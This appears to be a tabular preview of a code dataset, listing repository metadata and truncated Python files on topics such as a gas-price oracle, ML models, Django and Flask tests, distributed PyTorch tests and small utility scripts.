hexsha
stringlengths
40
40
size
int64
5
2.06M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
3
248
max_stars_repo_name
stringlengths
5
125
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
3
248
max_issues_repo_name
stringlengths
5
125
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
248
max_forks_repo_name
stringlengths
5
125
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
5
2.06M
avg_line_length
float64
1
1.02M
max_line_length
int64
3
1.03M
alphanum_fraction
float64
0
1
count_classes
int64
0
1.6M
score_classes
float64
0
1
count_generators
int64
0
651k
score_generators
float64
0
1
count_decorators
int64
0
990k
score_decorators
float64
0
1
count_async_functions
int64
0
235k
score_async_functions
float64
0
1
count_documentation
int64
0
1.04M
score_documentation
float64
0
1
3fba885aa5f0287571e2d253dd5d007fd48c35d4
588
py
Python
ethgasstation.py
ethgasstation/ethgasstation-adaptive-oracle
e5983adfa0cb8cd0c3952aa6a9869e9f402156b9
[ "MIT" ]
47
2017-12-08T02:02:19.000Z
2018-01-06T10:30:56.000Z
ethgasstation.py
ethgasstation/ethgasstation-adaptive-oracle
e5983adfa0cb8cd0c3952aa6a9869e9f402156b9
[ "MIT" ]
11
2017-12-08T08:03:56.000Z
2018-01-06T23:39:32.000Z
ethgasstation.py
ethgasstation/ethgasstation-adaptive-oracle
e5983adfa0cb8cd0c3952aa6a9869e9f402156b9
[ "MIT" ]
7
2017-12-08T07:27:18.000Z
2018-01-06T04:06:46.000Z
#!/usr/bin/env python3 """ ETH Gas Station Primary backend. """ import argparse from egs.main import master_control from egs.output import Output def main(): """Parse command line options.""" parser = argparse.ArgumentParser(description="An adaptive gas price oracle for Ethereum.") parser.add_argu...
23.52
118
0.693878
0
0
0
0
0
0
0
0
268
0.455782
3fbafb8b47bed64f592d7b2645ff31b682526b8a
3,675
py
Python
app/tests/controls/tests_template_helpers.py
madussault/FlaskyPress
677bfbb3473a239c08d9e120e959d3e31c456964
[ "MIT" ]
null
null
null
app/tests/controls/tests_template_helpers.py
madussault/FlaskyPress
677bfbb3473a239c08d9e120e959d3e31c456964
[ "MIT" ]
null
null
null
app/tests/controls/tests_template_helpers.py
madussault/FlaskyPress
677bfbb3473a239c08d9e120e959d3e31c456964
[ "MIT" ]
null
null
null
"""Contains tests for the functions found in ``controls/templates_helpers.py`` To run this particular test file use the following command line: nose2 -v app.tests.controls.tests_template_helpers """ from app import db, create_app import unittest from unittest import TestCase from config import Config from app.tests.u...
37.121212
79
0.628844
2,820
0.76693
0
0
0
0
0
0
1,655
0.450095
3fbbc3f8ef8d51546060cccaf53257878c60d288
2,299
py
Python
MAModule/networks/predict.py
MrReochen/MultiAgentModule
20216dee265501f09fba7b73fafdbef63b297725
[ "MIT" ]
null
null
null
MAModule/networks/predict.py
MrReochen/MultiAgentModule
20216dee265501f09fba7b73fafdbef63b297725
[ "MIT" ]
null
null
null
MAModule/networks/predict.py
MrReochen/MultiAgentModule
20216dee265501f09fba7b73fafdbef63b297725
[ "MIT" ]
null
null
null
import torch import torch.nn as nn from ..networks.basic.util import check from ..networks.basic.predict import PredictNet, PredictLayer, OutLayer from ..utils.util import get_shape_from_obs_space class OneHot: def __init__(self, out_dim): self.out_dim = out_dim def transform(self, tensor): y_...
34.833333
104
0.646368
2,097
0.912136
0
0
0
0
0
0
123
0.053502
3fbbd88b176cdd6b237953ffa51d4f9d25ca08a8
1,431
py
Python
repositories/gae/blob_dataset.py
singhj/locality-sensitive-hashing
99baa87d3b532ba5aa03fd80ed967275eb98d422
[ "MIT" ]
19
2015-02-22T15:47:33.000Z
2020-10-19T12:29:24.000Z
repositories/gae/blob_dataset.py
singhj/locality-sensitive-hashing
99baa87d3b532ba5aa03fd80ed967275eb98d422
[ "MIT" ]
7
2015-02-10T10:52:06.000Z
2019-04-01T15:27:00.000Z
repositories/gae/blob_dataset.py
singhj/locality-sensitive-hashing
99baa87d3b532ba5aa03fd80ed967275eb98d422
[ "MIT" ]
7
2015-02-23T19:22:11.000Z
2022-02-04T10:27:15.000Z
from google.appengine.ext import ndb from repositories.gae.dataset import Dataset from repositories.gae.dataset import calculate_max_hashes, get_random_bits class BlobDataset(Dataset): filename = ndb.StringProperty() blob_key = ndb.BlobKeyProperty() @classmethod def create(cls, blob_key, **kwargs): ...
34.902439
74
0.566038
1,273
0.889588
0
0
1,160
0.810622
0
0
75
0.052411
3fbcfad926cc78ab95112a6eecc4dc811aaf6f09
1,394
py
Python
wetrunner/tests/test_evmat.py
DavidMStraub/python-wetrunner
be9549535aab3a00e496002a515c647d112ea090
[ "MIT" ]
null
null
null
wetrunner/tests/test_evmat.py
DavidMStraub/python-wetrunner
be9549535aab3a00e496002a515c647d112ea090
[ "MIT" ]
4
2018-01-11T10:29:16.000Z
2018-04-12T15:36:20.000Z
wetrunner/tests/test_evmat.py
DavidMStraub/python-wetrunner
be9549535aab3a00e496002a515c647d112ea090
[ "MIT" ]
2
2018-01-11T10:20:55.000Z
2018-03-07T22:13:34.000Z
"""Compare evolution matrices to v0.1 numerics""" import wetrunner import unittest from pkg_resources import resource_filename import numpy as np import numpy.testing as npt def getUs_new(classname): arg = (0.56, 5, 0.12, 1/127, 0, 0, 0, 1.2, 4.2, 0, 0, 1.8) return wetrunner.rge.getUs(classname, *arg) def ...
39.828571
91
0.553085
938
0.672884
0
0
0
0
0
0
281
0.201578
3fbfff6f4fb61ab0d9c6aaa91429d122a201c789
4,310
py
Python
python/clockwork/ena/submit_files.py
jeff-k/clockwork
d6e9ac80bb46ec806acd7db85ed5c3430c3f2438
[ "MIT" ]
18
2018-01-18T13:02:10.000Z
2022-03-25T05:56:02.000Z
python/clockwork/ena/submit_files.py
jeff-k/clockwork
d6e9ac80bb46ec806acd7db85ed5c3430c3f2438
[ "MIT" ]
54
2018-01-25T15:47:25.000Z
2022-03-30T17:02:23.000Z
python/clockwork/ena/submit_files.py
jeff-k/clockwork
d6e9ac80bb46ec806acd7db85ed5c3430c3f2438
[ "MIT" ]
15
2018-01-18T11:21:33.000Z
2022-03-30T16:55:48.000Z
import configparser import random import string from clockwork import utils class Error(Exception): pass def _make_dummy_success_receipt(outfile, object_type): accession = "".join( [random.choice(string.ascii_uppercase + string.digits) for _ in range(10)] ) with open(outfile, "w") as f: ...
31.459854
148
0.615777
32
0.007425
0
0
0
0
0
0
2,053
0.476334
3fc20da9e836148d0b5e35676fbdec51d080a74c
3,350
py
Python
tools/add_new_quantization_parameters.py
xiao1228/nncf
307262119ee3f50eec2fa4022b2ef96693fd8448
[ "Apache-2.0" ]
310
2020-10-29T09:22:42.000Z
2022-03-31T04:53:34.000Z
tools/add_new_quantization_parameters.py
xiao1228/nncf
307262119ee3f50eec2fa4022b2ef96693fd8448
[ "Apache-2.0" ]
615
2020-10-28T10:22:25.000Z
2022-03-29T18:09:23.000Z
tools/add_new_quantization_parameters.py
xiao1228/nncf
307262119ee3f50eec2fa4022b2ef96693fd8448
[ "Apache-2.0" ]
86
2020-10-28T11:34:34.000Z
2022-03-31T08:00:35.000Z
""" Copyright (c) 2020 Intel Corporation Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writin...
37.222222
118
0.638507
62
0.018507
0
0
0
0
0
0
996
0.297313
3fc217a661811f79c1778a9b4610e13c10ae7b95
1,106
py
Python
src/backend/marsha/core/migrations/0019_auto_20200609_0820.py
marin-leonard/marsha
b5d6bf98fda27acd3a08577b82dd98bcd39bfd8d
[ "MIT" ]
64
2018-04-26T23:46:14.000Z
2022-03-26T21:32:23.000Z
src/backend/marsha/core/migrations/0019_auto_20200609_0820.py
marin-leonard/marsha
b5d6bf98fda27acd3a08577b82dd98bcd39bfd8d
[ "MIT" ]
533
2018-04-17T10:17:24.000Z
2022-03-31T13:07:49.000Z
src/backend/marsha/core/migrations/0019_auto_20200609_0820.py
marin-leonard/marsha
b5d6bf98fda27acd3a08577b82dd98bcd39bfd8d
[ "MIT" ]
16
2018-09-21T12:52:34.000Z
2021-11-29T16:44:51.000Z
# Generated by Django 3.0.6 on 2020-05-19 14:32 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ("core", "0018_auto_20200603_0620"), ] operations = [ migrations.AddField( model_name="video", name="live_info", ...
26.97561
72
0.454792
1,013
0.915913
0
0
0
0
0
0
276
0.249548
3fc23e96afc2ac687938892c8fa39f0756c775dd
11,766
py
Python
models/video_base.py
vedaldi/dynamic-video-depth
274f5f59604a10121a2445f7b30df4a9ff075946
[ "Apache-2.0" ]
1
2022-03-24T23:59:26.000Z
2022-03-24T23:59:26.000Z
models/video_base.py
vedaldi/dynamic-video-depth
274f5f59604a10121a2445f7b30df4a9ff075946
[ "Apache-2.0" ]
null
null
null
models/video_base.py
vedaldi/dynamic-video-depth
274f5f59604a10121a2445f7b30df4a9ff075946
[ "Apache-2.0" ]
null
null
null
# Copyright 2021 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, s...
40.996516
167
0.586011
10,773
0.915604
0
0
424
0.036036
0
0
2,032
0.172701
3fc28ee2166df5c930e27ec1974997e4a8df5d90
1,232
py
Python
update-tuya-address.py
mwinters-stuff/octoprint-update-tuya-address
6b4f95613d573eb45af2de936615d75dfd01a77b
[ "Apache-2.0" ]
null
null
null
update-tuya-address.py
mwinters-stuff/octoprint-update-tuya-address
6b4f95613d573eb45af2de936615d75dfd01a77b
[ "Apache-2.0" ]
null
null
null
update-tuya-address.py
mwinters-stuff/octoprint-update-tuya-address
6b4f95613d573eb45af2de936615d75dfd01a77b
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python3 import subprocess import yaml try: from yaml import CLoader as Loader, CDumper as Dumper except ImportError: from yaml import Loader, Dumper #MAC address of the smart plug MAC_ADDRESS = '84:f3:eb:32:e3:b4' # netmask of your network NET_MASK = '192.168.1.1/24' #octopi config OCTOPI_CONFIG = ...
31.589744
84
0.660714
0
0
0
0
0
0
0
0
398
0.323052
3fc2b905de175376e48fc847adcd762ca15c7b7a
2,571
py
Python
sarpy_gui_apps/apps/canvas_demo/panels/canvas_demo_button_panel.py
spowlas/sarpy
c4a404203607d404b93a556459aa5311d7148e95
[ "MIT" ]
null
null
null
sarpy_gui_apps/apps/canvas_demo/panels/canvas_demo_button_panel.py
spowlas/sarpy
c4a404203607d404b93a556459aa5311d7148e95
[ "MIT" ]
1
2019-11-14T20:55:57.000Z
2019-12-27T18:11:29.000Z
sarpy_gui_apps/apps/canvas_demo/panels/canvas_demo_button_panel.py
spowlas/sarpy
c4a404203607d404b93a556459aa5311d7148e95
[ "MIT" ]
2
2020-02-12T20:11:00.000Z
2020-03-26T16:55:03.000Z
from tkinter_gui_builder.panel_templates.widget_panel.widget_panel import AbstractWidgetPanel from tkinter_gui_builder.widgets import basic_widgets class CanvasDemoButtonPanel(AbstractWidgetPanel): fname_select = basic_widgets.Button zoom_in = basic_widgets.Button zoom_out = basic_widgets.Button rect_...
40.171875
93
0.552703
2,355
0.915986
0
0
0
0
0
0
464
0.180475
3fc57348ab10be442b6950d805f656ab0d9bf881
1,360
py
Python
GCN/test_until.py
Alienge/Graph-Network
559cccb6af4e6ca50c44fd51cac8df5713f255bf
[ "MIT" ]
3
2020-06-10T03:29:11.000Z
2020-10-21T09:03:13.000Z
GCN/test_until.py
Alienge/Graph-Network
559cccb6af4e6ca50c44fd51cac8df5713f255bf
[ "MIT" ]
null
null
null
GCN/test_until.py
Alienge/Graph-Network
559cccb6af4e6ca50c44fd51cac8df5713f255bf
[ "MIT" ]
1
2020-06-25T06:15:28.000Z
2020-06-25T06:15:28.000Z
import torch import numpy as np import scipy.sparse as sp def sparse_to_tuple(sparse_mx): """Convert sparse matrix to tuple representation.""" def to_tuple(mx): if not sp.isspmatrix_coo(mx): mx = mx.tocoo() coords = np.vstack((mx.row, mx.col)).transpose() values = mx.data ...
17.894737
58
0.609559
0
0
0
0
0
0
0
0
728
0.535294
3fc7b2fa4d7d1bb8ba7c895d8420a155ae6e1ca0
5,056
py
Python
mechmean/fabric_tensors.py
JulianKarlBauer/meanfieldmechanics
a53b38655d0e9558cc3e676c359fa13dfe3d9112
[ "MIT" ]
null
null
null
mechmean/fabric_tensors.py
JulianKarlBauer/meanfieldmechanics
a53b38655d0e9558cc3e676c359fa13dfe3d9112
[ "MIT" ]
null
null
null
mechmean/fabric_tensors.py
JulianKarlBauer/meanfieldmechanics
a53b38655d0e9558cc3e676c359fa13dfe3d9112
[ "MIT" ]
1
2022-02-25T19:37:20.000Z
2022-02-25T19:37:20.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import numpy as np import mechkit import mechmean class KanataniFactory(object): def __init__(self, N): self.con = mechkit.notation.Converter() self._I2 = mechkit.tensors.Basic().I2 self.N = N = self.con.to_tensor(N) self.degree = le...
28.727273
88
0.548655
2,702
0.534415
0
0
0
0
0
0
1,116
0.220728
3fc90063242679a163aee4c95d494aed3302ce11
961
py
Python
setup.py
adamltyson/fancylog
8e9047759d5c394e98b5af7c2d68f70f2fbeb40e
[ "MIT" ]
3
2020-09-30T09:02:08.000Z
2021-06-12T20:43:43.000Z
setup.py
adamltyson/fancylog
8e9047759d5c394e98b5af7c2d68f70f2fbeb40e
[ "MIT" ]
8
2020-01-07T11:27:05.000Z
2021-07-13T11:07:11.000Z
setup.py
adamltyson/fancylog
8e9047759d5c394e98b5af7c2d68f70f2fbeb40e
[ "MIT" ]
2
2020-02-05T19:03:04.000Z
2021-07-07T09:42:24.000Z
from setuptools import setup, find_packages setup( name="fancylog", version="0.2.6", description="Fancier logging in Python", install_requires=["packaging", "rich"], extras_require={ "dev": [ "black", "pytest-cov", "pytest", "coverage", ...
26.694444
49
0.552549
0
0
0
0
0
0
0
0
468
0.486993
3fc96ed41bb550e4bca1d28b2bc1be7197a1cd5d
5,620
py
Python
tests/test_identity.py
multiscale/ymmsl-python
f8a63232823ad655530a83570443d9c045ef9929
[ "Apache-2.0" ]
1
2018-12-13T18:09:09.000Z
2018-12-13T18:09:09.000Z
tests/test_identity.py
multiscale/ymmsl-python
f8a63232823ad655530a83570443d9c045ef9929
[ "Apache-2.0" ]
10
2018-11-13T16:12:38.000Z
2021-07-21T13:16:43.000Z
tests/test_identity.py
multiscale/ymmsl-python
f8a63232823ad655530a83570443d9c045ef9929
[ "Apache-2.0" ]
null
null
null
from ymmsl import Identifier, Reference import pytest import yatiml def test_create_identifier() -> None: part = Identifier('testing') assert str(part) == 'testing' part = Identifier('CapiTaLs') assert str(part) == 'CapiTaLs' part = Identifier('under_score') assert str(part) == 'under_score...
30.053476
79
0.637011
0
0
0
0
0
0
0
0
1,262
0.224555
3fc9e66e2e4c81e88a2f6282ca33a85ca40e0ad7
1,262
py
Python
molecule/loadbalancer/tests/test_default.py
mvdheenux/OpenConext-deploy
9c75866cba7675cafa8946e591ffac0fe528f7b3
[ "Apache-2.0" ]
11
2015-07-05T10:38:10.000Z
2019-06-27T07:49:32.000Z
molecule/loadbalancer/tests/test_default.py
mvdheenux/OpenConext-deploy
9c75866cba7675cafa8946e591ffac0fe528f7b3
[ "Apache-2.0" ]
201
2015-02-03T14:52:30.000Z
2022-03-09T08:45:00.000Z
molecule/loadbalancer/tests/test_default.py
domgon/OpenConext-deploy
80b28f59bdef2ac683744c07bb938c889cb43681
[ "Apache-2.0" ]
48
2015-03-10T13:28:23.000Z
2021-11-28T23:15:32.000Z
import os import pytest import testinfra.utils.ansible_runner testinfra_hosts = testinfra.utils.ansible_runner.AnsibleRunner( os.environ['MOLECULE_INVENTORY_FILE']).get_hosts('all') @pytest.mark.parametrize("installed_packages", [ ("haproxy20"), ("socat"), ("keepalived"), ("bind"), ]) def test_p...
26.291667
71
0.717116
0
0
0
0
932
0.73851
0
0
271
0.214739
3fca93e41547a1ae70fbe0d1268f42c02b9128db
4,237
py
Python
tiledb/cloud/_results/results.py
TileDB-Inc/TileDB-Cloud-Py
e73f6e0ae3fc595218abd3be606c68f62ad5ac9b
[ "MIT" ]
4
2019-12-04T23:19:35.000Z
2021-06-21T21:42:53.000Z
tiledb/cloud/_results/results.py
TileDB-Inc/TileDB-Cloud-Py
e73f6e0ae3fc595218abd3be606c68f62ad5ac9b
[ "MIT" ]
106
2019-11-07T22:40:43.000Z
2022-03-29T22:31:18.000Z
tiledb/cloud/_results/results.py
TileDB-Inc/TileDB-Cloud-Py
e73f6e0ae3fc595218abd3be606c68f62ad5ac9b
[ "MIT" ]
1
2020-10-04T18:54:37.000Z
2020-10-04T18:54:37.000Z
"""Things that help you keep track of task results and how to decode them.""" import abc import dataclasses import threading import uuid from concurrent import futures from typing import Callable, Generic, Optional, TypeVar, Union import urllib3 from tiledb.cloud import rest_api from tiledb.cloud import tiledb_cloud...
32.343511
80
0.660609
3,024
0.713713
0
0
1,806
0.426245
0
0
1,320
0.311541
3fca96dd670cc10df7dd85a3eaf8c8ace2dc5c34
3,676
py
Python
test2/mining/mining.py
gr0mph/OceanOfCode
336caa00e22ae06e12d32971f84c82e3c0c9a3a4
[ "MIT" ]
null
null
null
test2/mining/mining.py
gr0mph/OceanOfCode
336caa00e22ae06e12d32971f84c82e3c0c9a3a4
[ "MIT" ]
null
null
null
test2/mining/mining.py
gr0mph/OceanOfCode
336caa00e22ae06e12d32971f84c82e3c0c9a3a4
[ "MIT" ]
null
null
null
import sys sys.path.append('../../') # Global variables from test2.test_main import TREASURE_MAP from test2.test_main import MINE_MAP # From OceanOfCode # Class from OceanOfCode import MineAndTrigger from OceanOfCode import Submarine from OceanOfCode import Board # Global from OceanOfCode import EMPTY_SYMBOLS from O...
28.276923
95
0.586235
3,225
0.877312
0
0
0
0
0
0
663
0.180359
3fcb54fe77197f1040f44681301381a698a9f1e0
831
py
Python
dfdatetime/__init__.py
joachimmetz/dfdatetime
de6da30114b952abeac8909906862e78aa7286dc
[ "Apache-2.0" ]
null
null
null
dfdatetime/__init__.py
joachimmetz/dfdatetime
de6da30114b952abeac8909906862e78aa7286dc
[ "Apache-2.0" ]
null
null
null
dfdatetime/__init__.py
joachimmetz/dfdatetime
de6da30114b952abeac8909906862e78aa7286dc
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- """Digital Forensics Date and Time (dfDateTime). dfDateTime, or Digital Forensics date and time, provides date and time objects to preserve accuracy and precision. """ # Imports for date time values factory. from dfdatetime import apfs_time from dfdatetime import cocoa_time from dfdatetime imp...
29.678571
70
0.839952
0
0
0
0
0
0
0
0
240
0.288809
3fcbaff4724b7b17a4f047879b9dde04a4754a7c
1,267
py
Python
common/data/selectionhelper.py
alainjungo/reliability-challenges-uncertainty
21e86f6e2a5d2520b5767dce48bbcf2b11773788
[ "MIT" ]
56
2019-07-10T06:02:11.000Z
2021-12-21T08:11:22.000Z
common/data/selectionhelper.py
alainjungo/reliability-challenges-uncertainty
21e86f6e2a5d2520b5767dce48bbcf2b11773788
[ "MIT" ]
4
2019-09-26T08:51:58.000Z
2021-06-08T20:27:53.000Z
common/data/selectionhelper.py
alainjungo/reliability-challenges-uncertainty
21e86f6e2a5d2520b5767dce48bbcf2b11773788
[ "MIT" ]
8
2019-10-21T12:43:08.000Z
2021-12-02T08:14:38.000Z
import logging import json import zlib import os import pymia.data.extraction as extr def save_indices(file_path: str, indices: list): config = {'indices': indices} with open(file_path, 'w') as f: json.dump(config, f) def load_indices(file_path: str): with open(file_path, 'r') as f: con...
28.155556
103
0.694554
0
0
0
0
0
0
0
0
110
0.086819
3fce44aec3e71efcc655d5db43f3f8dd2acd2d0c
1,191
py
Python
src/main/TextLemmatizer.py
alschmut/code2semantics
af1daf0b8320b534344c5352ae972fb600e21e43
[ "MIT" ]
2
2020-02-26T22:50:38.000Z
2020-10-29T10:46:10.000Z
src/main/TextLemmatizer.py
alschmut/linguistic-parser
af1daf0b8320b534344c5352ae972fb600e21e43
[ "MIT" ]
null
null
null
src/main/TextLemmatizer.py
alschmut/linguistic-parser
af1daf0b8320b534344c5352ae972fb600e21e43
[ "MIT" ]
null
null
null
import sys from util.Timer import Timer from util.FileOpener import FileOpener from util.Logger import Logger from util.PathExtractor import PathExtractor from util.PathValidator import PathValidator from service import SpacyModel def lemmatize_text(file_path: str, timer: Timer): logger = Logger() output_file = File...
28.357143
90
0.74979
0
0
0
0
0
0
0
0
145
0.121746
3fce57d4964a0ce253965c723aa6fb69e1b90bf3
4,069
py
Python
mat2py/core/graph2d.py
mat2py/mat2py
2776fbe9ca4ad2aaa3eac6aa79d17747a9ec24a8
[ "MIT" ]
null
null
null
mat2py/core/graph2d.py
mat2py/mat2py
2776fbe9ca4ad2aaa3eac6aa79d17747a9ec24a8
[ "MIT" ]
37
2021-12-23T03:22:20.000Z
2022-02-16T15:40:47.000Z
mat2py/core/graph2d.py
mat2py/mat2py
2776fbe9ca4ad2aaa3eac6aa79d17747a9ec24a8
[ "MIT" ]
2
2022-01-23T07:59:10.000Z
2022-02-03T09:15:54.000Z
# type: ignore __all__ = [ "plotyy", "figtoolset", "getscribecontextmenu", "getobj", "scribeeventhandler", "setscribecontextmenu", "putdowntext", "gtext", "scribetextdlg", "doresize", "prepdrag", "scriberestoresavefcns", "zoom", "scribeclearmode", "domymenu",...
17.168776
54
0.673876
0
0
0
0
0
0
0
0
974
0.239371
3fce96f02b43f368aab74e2c6e770ef0bfeee1f2
107
py
Python
run.py
Arthurdb1999/dash-plotly-example
a54dce5e233aab75746a433665a4a958a77e4b58
[ "MIT" ]
null
null
null
run.py
Arthurdb1999/dash-plotly-example
a54dce5e233aab75746a433665a4a958a77e4b58
[ "MIT" ]
null
null
null
run.py
Arthurdb1999/dash-plotly-example
a54dce5e233aab75746a433665a4a958a77e4b58
[ "MIT" ]
null
null
null
from app import app if __name__ == '__main__': app.run_server(port=5000, debug=True, host='localhost')
26.75
59
0.719626
0
0
0
0
0
0
0
0
21
0.196262
3fcf781a8eea0228e1eb54ee4f6768c262da5120
748
py
Python
rasa/train_init.py
BarnikRay/chatbot
4191f3064f6dae90b108ecf4e08130cda39ed370
[ "MIT" ]
1
2020-05-03T07:30:18.000Z
2020-05-03T07:30:18.000Z
rasa/train_init.py
privykurura1/chatbot
4191f3064f6dae90b108ecf4e08130cda39ed370
[ "MIT" ]
8
2019-12-04T23:20:56.000Z
2022-02-10T07:47:03.000Z
rasa/train_init.py
privykurura1/chatbot
4191f3064f6dae90b108ecf4e08130cda39ed370
[ "MIT" ]
1
2021-11-14T07:45:24.000Z
2021-11-14T07:45:24.000Z
from __future__ import absolute_import from __future__ import division from __future__ import unicode_literals import logging from rasa_core.agent import Agent from rasa_core.policies.keras_policy import KerasPolicy from rasa_core.policies.memoization import MemoizationPolicy def run_faq(domain_file="config/faq_dom...
28.769231
117
0.758021
0
0
0
0
0
0
0
0
75
0.100267
3fcf9b0ce8ecad5b900f4b1d09dd5ed1b9a47ad4
6,123
py
Python
examples/passage_ranking.py
skirdey/FARM
2fc801d1d0c973cb36bc867907d4250d1084493b
[ "Apache-2.0" ]
1,551
2019-07-17T18:21:08.000Z
2022-03-24T18:09:07.000Z
examples/passage_ranking.py
skirdey/FARM
2fc801d1d0c973cb36bc867907d4250d1084493b
[ "Apache-2.0" ]
555
2019-07-23T09:00:54.000Z
2022-03-31T15:31:06.000Z
examples/passage_ranking.py
skirdey/FARM
2fc801d1d0c973cb36bc867907d4250d1084493b
[ "Apache-2.0" ]
259
2019-07-22T08:12:01.000Z
2022-03-26T09:41:00.000Z
# fmt: off import logging from pathlib import Path from farm.data_handler.data_silo import DataSilo from farm.data_handler.processor import RegressionProcessor, TextPairClassificationProcessor from farm.experiment import initialize_optimizer from farm.infer import Inferencer from farm.modeling.adaptive_model import Ad...
41.653061
162
0.644619
0
0
0
0
0
0
0
0
1,708
0.278948
3fd06fe52f4de9eab41206707f2484a26a7e0deb
2,723
py
Python
extended_data_provider.py
NicolaOrritos/pricenet
1667e564d48bf0021eb16dcd529017cd00643b03
[ "MIT" ]
null
null
null
extended_data_provider.py
NicolaOrritos/pricenet
1667e564d48bf0021eb16dcd529017cd00643b03
[ "MIT" ]
null
null
null
extended_data_provider.py
NicolaOrritos/pricenet
1667e564d48bf0021eb16dcd529017cd00643b03
[ "MIT" ]
null
null
null
#!/usr/bin/env python import numpy as np import pandas as pd import json import pytz def _get_data(file): return pd.read_csv(file) def _get_prices(data): df = data rome_tz = pytz.timezone('Europe/Rome') df['time'] = pd.to_datetime(df['Timestamp'], unit='s') df['time'].dt.tz_localize(pytz.UTC...
28.072165
114
0.667646
0
0
0
0
0
0
0
0
725
0.26625
3fd08ba20ef96dd8738b44a611be2e078eaec1a9
789
py
Python
django_alive/tests/test_command.py
lincolnloop/django-alive
608fd0a1d94f90f51a48a943348e9038f402a504
[ "MIT" ]
25
2018-08-22T12:42:14.000Z
2022-01-18T19:03:05.000Z
django_alive/tests/test_command.py
lincolnloop/django-alive
608fd0a1d94f90f51a48a943348e9038f402a504
[ "MIT" ]
7
2019-11-05T23:52:49.000Z
2020-07-01T18:03:32.000Z
django_alive/tests/test_command.py
lincolnloop/django-alive
608fd0a1d94f90f51a48a943348e9038f402a504
[ "MIT" ]
null
null
null
import sys from django.core.management import CommandError, call_command from django.test import TestCase from .side_effects import bad_database_check try: from unittest.mock import patch except ImportError: from mock import patch # Python 2.7 support if sys.version_info > (3, 0): from io import StringI...
24.65625
80
0.697085
419
0.531052
0
0
0
0
0
0
86
0.108999
3fd0cbcd561a8f1e4b20915840399b1fbffc54a0
2,579
py
Python
main.py
fanicia/file-backup
f85d59a77d3168def9805e70b8a2a1dacf99c69d
[ "MIT" ]
null
null
null
main.py
fanicia/file-backup
f85d59a77d3168def9805e70b8a2a1dacf99c69d
[ "MIT" ]
null
null
null
main.py
fanicia/file-backup
f85d59a77d3168def9805e70b8a2a1dacf99c69d
[ "MIT" ]
null
null
null
from watchdog.observers import Observer from watchdog.events import FileSystemEventHandler # importing the modules import os.path import shutil import datetime import time import re # getting the current working directory src_dir = os.getcwd() # printing current directory print("########## File-backup started ######...
32.2375
134
0.643273
1,748
0.677782
0
0
0
0
0
0
823
0.319116
3fd11ac451a6a98e1c44245e5db55488106cc6f1
24,449
py
Python
tests/ignite/distributed/comp_models/test_native.py
Eunjnnn/ignite
743089705b2b252aa5e2a0f310da3a8724d6711e
[ "BSD-3-Clause" ]
4,119
2017-11-23T18:10:37.000Z
2022-03-31T05:31:27.000Z
tests/ignite/distributed/comp_models/test_native.py
Eunjnnn/ignite
743089705b2b252aa5e2a0f310da3a8724d6711e
[ "BSD-3-Clause" ]
1,838
2017-11-24T11:19:25.000Z
2022-03-31T09:08:18.000Z
tests/ignite/distributed/comp_models/test_native.py
Eunjnnn/ignite
743089705b2b252aa5e2a0f310da3a8724d6711e
[ "BSD-3-Clause" ]
691
2017-11-24T10:57:33.000Z
2022-03-29T02:19:44.000Z
import os import pytest import torch import torch.distributed as dist from ignite.distributed.comp_models import has_native_dist_support if not has_native_dist_support: pytest.skip("Skip if no native dist support", allow_module_level=True) else: from ignite.distributed.comp_models.native import _expand_hostl...
36.491045
120
0.674261
0
0
0
0
13,751
0.562436
0
0
7,199
0.29445
3fd17ae0190fb0fd9c0e5b30d818a6da541ac894
1,114
py
Python
src/popular_consistent_items/popular_consistent_items.py
masinag/popular_twitter_topics_mining
b86e05d7700cfca4dbf9db67cde50664d99e60f7
[ "MIT" ]
null
null
null
src/popular_consistent_items/popular_consistent_items.py
masinag/popular_twitter_topics_mining
b86e05d7700cfca4dbf9db67cde50664d99e60f7
[ "MIT" ]
null
null
null
src/popular_consistent_items/popular_consistent_items.py
masinag/popular_twitter_topics_mining
b86e05d7700cfca4dbf9db67cde50664d99e60f7
[ "MIT" ]
null
null
null
import pandas as pd from .apriori_opt import apriori as apriori_opt from .apriori_basic import apriori as apriori_basic # from memory_profiler import profile from .utils import log def get_frequent_items_in_time(tweets, s, r, a, start=None, end=None, basic=False): if tweets.empty: return [] if not st...
30.108108
83
0.653501
0
0
0
0
0
0
0
0
138
0.123878
3fd22b642b9f6e7837ab39991845866acb71bd9d
929
py
Python
txt/test/teste.py
juliano777/apostila_python
521c05c1579a52d22d6b670af92e3763366b6301
[ "BSD-3-Clause" ]
3
2020-04-18T20:07:39.000Z
2021-06-17T18:41:34.000Z
txt/test/teste.py
juliano777/apostila_python
521c05c1579a52d22d6b670af92e3763366b6301
[ "BSD-3-Clause" ]
null
null
null
txt/test/teste.py
juliano777/apostila_python
521c05c1579a52d22d6b670af92e3763366b6301
[ "BSD-3-Clause" ]
1
2020-04-18T20:07:46.000Z
2020-04-18T20:07:46.000Z
#_*_ encoding: utf-8 _*_ import time ''' Fibonacci function ''' def fibo(n): if (n < 2): return n else: return fibo(n - 1) + fibo(n - 2) ''' Memoize function ''' def memoize(f): # dictionary mem = {} ''' Helper function ''' def memoizer(*param): key = repr(param) if ...
16.298246
47
0.568353
0
0
0
0
0
0
0
0
373
0.399786
